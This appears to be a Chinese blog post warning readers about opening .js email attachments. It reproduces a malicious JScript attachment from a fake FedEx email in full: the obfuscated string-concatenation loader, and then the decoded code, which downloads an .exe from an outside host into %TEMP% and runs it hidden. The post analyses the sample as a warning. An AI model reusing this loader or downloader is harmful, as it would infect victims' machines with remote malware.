20160307 - 双击打开 Js 扩展名的附件要保持留心

时间:2023-03-08 21:38:42

Windows Script Host 技术是一门很老的技术,它让 Windows 的自带脚本 VBScript 和 JScript 可以操作 Windows ActiveX 对象,这样的脚本具有本地权限,比如本地文件系统的访问,网络的访问等。我在邮件中收到一封来自联邦快递的邮件。附件为:Label_00979216.doc.js,很简单的混淆并压缩,代码如下,

var a5 = 'va';
var a3 = 'l';
var a1 = '';
var a4 = 'e'; function opx() {
a1 += 's(';
pfo();
}; function fef() {
a1 += 'Strea';
iq();
}; function ciq() {
a1 += 'GET"';
ch();
}; function m() {
a1 += ' Act';
es();
}; function obm() {
a1 += ' v';
sqf();
}; function fzw() {
a1 += 'rn';
yeu();
}; function pab() {
a1 += 'Shel';
xwm();
}; function cr() {
a1 += '; xa.';
elt();
}; function jj() {
a1 += 'xa =';
rd();
}; function ny() {
a1 += 'ry ';
wk();
}; function ke() {
a1 += 'fn';
lh();
}; function wbl() {
a1 += 'e ==';
fpg();
}; function ueh() {
a1 += '9531';
n();
}; function ma() {
a1 += '= 0';
cr();
}; function q() {
a1 += '); xo';
s();
}; function rb() {
a1 += '2455';
em();
}; function so() {
a1 += '= ';
upv();
}; function xo() {
a1 += 'pandE';
dyu();
}; function xtj() {
a1 += 'r,fal';
qj();
}; function j() {
a1 += ');';
lyg();
}; function dyr() {
a1 += 'pt.';
pab();
}; function dyu() {
a1 += 'nvir';
x();
}; function lyg() {
a1 += ' }; }';
pws();
}; function suv() {
a1 += '00D10';
tla();
}; function sdx() {
a1 += '; ';
wun();
}; function uet() {
a1 += 'rnd';
jp();
}; function exo() {
a1 += 'n;';
ht();
}; function wqb() {
a1 += 'r)';
whi();
}; function zh() {
a1 += 'se';
rj();
}; function zc() {
a1 += '};';
azk();
}; function elt() {
a1 += 'saveT';
qw();
}; function x() {
a1 += 'on';
jq();
}; function rj() {
a1 += 'nd()';
twi();
}; function bmc() {
a1 += 'on';
bq();
}; function xwm() {
a1 += 'l");';
obm();
}; function dt() {
a1 += 'a.po';
cn();
}; function yeu() {
a1 += ' > 0';
ws();
}; function ow() {
a1 += 'xe",1';
gw();
}; function bxl() {
a1 += 'Strin';
zko();
}; function le() {
a1 += '); x';
dt();
}; function nj() {
a1 += 'p?id';
ctl();
}; function a() {
a1 += ' new';
m();
}; function mok() {
a1 += ' 1; ';
hma();
}; function e() {
a1 += 'Scri';
dyr();
}; function qw() {
a1 += 'oFi';
kg();
}; function pc() {
a1 += '38';
adj();
}; function ruz() {
a1 += ')+f';
exo();
}; function yfs() {
a1 += ' }';
cw();
}; function kva() {
a1 += 'L2.X';
kf();
}; function ywg() {
a1 += ',0,0)';
ze();
}; function egd() {
a1 += 'a.o';
gz();
}; function bq() {
a1 += '() ';
mqo();
}; function yey() {
a1 += 'dl(fr';
fo();
}; function p() {
a1 += 'ng';
opx();
}; function gw() {
a1 += ');';
ne();
}; function jp() {
a1 += '=583';
ueh();
}; function ze() {
a1 += '; ';
ywx();
}; function wk() {
a1 += '{ x';
lf();
}; function mqo() {
a1 += '{ if';
u();
}; function hma() {
a1 += 'xa.wr';
oct();
}; function lyq() {
a1 += 'MS';
ta();
}; function fo() {
a1 += ',fn,';
ra();
}; function aa() {
a1 += 's5-';
k();
}; function lf() {
a1 += 'o.';
bqk();
}; function iec() {
a1 += 'onse';
l();
}; function pws() {
a1 += '; t';
ny();
}; function gz() {
a1 += 'pen()';
sdx();
}; function i() {
a1 += 'yst';
lg();
}; function la() {
a1 += ' =';
tbz();
}; function ta() {
a1 += 'XM';
kva();
}; function kf() {
a1 += 'MLH';
zpg();
}; function yt() {
a1 += 'com/d';
plz();
}; function ovq() {
a1 += 'P%")+';
bxl();
}; function ia() {
a1 += ':/';
zll();
}; function kg() {
a1 += 'le(';
ke();
}; function ff() {
a1 += 'r ws';
y();
}; function pp() {
a1 += 'fn';
ywg();
}; function n() {
a1 += '","8';
ym();
}; function g() {
a1 += 'xo ';
so();
}; function ng() {
a1 += 'xo.';
zh();
}; function mlz() {
a1 += '("';
ciq();
}; function ym() {
a1 += '44';
pc();
}; function kqc() {
a1 += '09&';
uet();
}; function omc() {
a1 += '("W';
e();
}; function wun() {
a1 += 'xa.ty';
tp();
}; function ctl() {
a1 += '=54';
pt();
}; function lg() {
a1 += 'atec';
ors();
}; function bmm() {
a1 += 'XObje';
rvo();
}; function zko() {
a1 += 'g.fro';
fr();
}; function ch() {
a1 += ',f';
xtj();
}; function l() {
a1 += 'Body';
le();
}; function jq() {
a1 += 'mentS';
jf();
}; function em() {
a1 += '565';
jet();
}; function cw() {
a1 += ' catc';
dig();
}; function yv() {
a1 += 'e(92';
ruz();
}; function twi() {
a1 += '; ';
oy();
}; function ws() {
a1 += ') { ';
zo();
}; function zpg() {
a1 += 'TTP"';
q();
}; function s() {
a1 += '.onre';
pao();
}; function rd() {
a1 += ' new ';
kh();
}; function vp() {
a1 += 'XOb';
dwx();
}; function vrm() {
a1 += 'Act';
v();
}; function oi() {
a1 += 'ion ';
ma();
}; function lvc() {
a1 += 'D01';
rb();
}; function pt() {
a1 += '51';
cg();
}; function bqk() {
a1 += 'open';
mlz();
}; function etm() {
a1 += 'Run(';
pp();
}; function hp() {
a1 += '("AD';
b();
}; function whi() {
a1 += ' { }';
ssb();
}; function v() {
a1 += 'ive';
bmm();
}; function w() {
a1 += 'Stat';
wbl();
}; function oct() {
a1 += 'ite';
pd();
}; function zll() {
a1 += '/app.';
aa();
}; function qj() {
a1 += 'se); ';
ng();
}; function plz() {
a1 += 'ocume';
wld();
}; function oy() {
a1 += 'if (';
fzw();
}; function b() {
a1 += 'ODB.';
fef();
}; function h() {
a1 += 'ctio';
o();
}; function zo() {
a1 += 'ws.';
etm();
}; function es() {
a1 += 'ive';
vp();
}; function r() {
a1 += 'va';
ff();
}; function aey() {
a1 += 'rCod';
yv();
}; function adj() {
a1 += '33';
fpe();
}; function tla() {
a1 += '0D011';
lvc();
}; function kh() {
a1 += 'Acti';
zn();
}; function ors() {
a1 += 'hange';
c();
}; function sqf() {
a1 += 'ar fn';
la();
}; function zr() {
a1 += ' var ';
jj();
}; function jn() {
a1 += 'esp';
iec();
}; function fpg() {
a1 += '= 4';
oh();
}; function iq() {
a1 += 'm")';
tgk();
}; function nyj() {
a1 += 'ready';
w();
}; function ht() {
a1 += ' var ';
g();
}; function k() {
a1 += 'tech.';
yt();
}; function ttg() {
a1 += 'bject';
hp();
}; function t() {
a1 += 'ncti';
bmc();
}; function bb() {
a1 += 'xa.c';
lfp();
}; function o() {
a1 += 'n ';
yey();
}; function tbz() {
a1 += ' ws';
fkc();
}; function jf() {
a1 += 'tri';
p();
}; function iiw() {
a1 += '("';
my();
}; function ssb() {
a1 += '; ';
zc();
}; function wq() {
a1 += '0B';
kqc();
}; function ra() {
a1 += 'rn)';
tux();
}; function oh() {
a1 += ') {';
zr();
}; function my() {
a1 += 'http';
ia();
}; function owg() {
a1 += 'fu';
t();
}; function lh() {
a1 += ',2); ';
bb();
}; function tux() {
a1 += ' { ';
r();
}; function wld() {
a1 += 'nt.ph';
nj();
}; function ywx() {
a1 += '};';
yfs();
}; function tgk() {
a1 += '; x';
egd();
}; function dwx() {
a1 += 'ject';
omc();
}; function lfp() {
a1 += 'lose(';
j();
}; function fpe() {
a1 += '5.e';
ow();
}; function upv() {
a1 += 'new ';
vrm();
}; function kag() {
a1 += ' =';
mok();
}; function ne() {
this[a4 + a5 + a3](a1);
}; function rvo() {
a1 += 'ct("';
lyq();
}; function fr() {
a1 += 'mCha';
aey();
}; function dig() {
a1 += 'h (e';
wqb();
}; function u() {
a1 += ' (xo.';
nyj();
}; function y() {
a1 += ' =';
a();
}; function fkc() {
a1 += '.Ex';
xo();
}; function azk() {
a1 += ' dl';
iiw();
}; function tp() {
a1 += 'pe';
kag();
}; function pd() {
a1 += '(xo.R';
jn();
}; function pao() {
a1 += 'ad';
i();
}; function fs() {
a1 += 'fun';
h();
}; function c() {
a1 += ' = ';
owg();
}; function jet() {
a1 += '24A07';
wq();
}; function cn() {
a1 += 'sit';
oi();
}; function pfo() {
a1 += '"%TEM';
ovq();
}; function zn() {
a1 += 'veXO';
ttg();
}; function cg() {
a1 += '515E1';
suv();
};
fs();

虽然简单,但这样的代码不会被任何杀毒软件识别并查杀,稍看了看,属于字符串拼接为一个函数并 eval 执行,于是将最终执行前的函数:

function gw() {
a1 += ');';
ne();
};

改为:

function gw() {
a1 += ');';
//ne();
WScript.Echo(a1);
};

复制出内容如下:

function dl(fr, fn, rn) {
var ws = new ActiveXObject("WScript.Shell");
var fn = ws.ExpandEnvironmentStrings("%TEMP%") + String.fromCharCode(92) + fn;
var xo = new ActiveXObject("MSXML2.XMLHTTP");
xo.onreadystatechange = function() {
if (xo.readyState === 4) {
var xa = new ActiveXObject("ADODB.Stream");
xa.open();
xa.type = 1;
xa.write(xo.ResponseBody);
xa.position = 0;
xa.saveToFile(fn, 2);
xa.close();
};
};
try {
xo.open("GET", fr, false);
xo.send();
if (rn > 0) {
ws.Run(fn, 0, 0);
};
} catch (er) {};
};
dl("http://app.s5-tech.com/document.php?id=XX51515E100D100D011D01245556524A070B09&rnd=5839531", "84438335.exe", 1);

似乎是远程下载一个文件写入本地,并执行。地址已经失效,于是没有下载作进一步的分析。

但提醒一下:双击打开 Js 扩展名的附件要保持留心。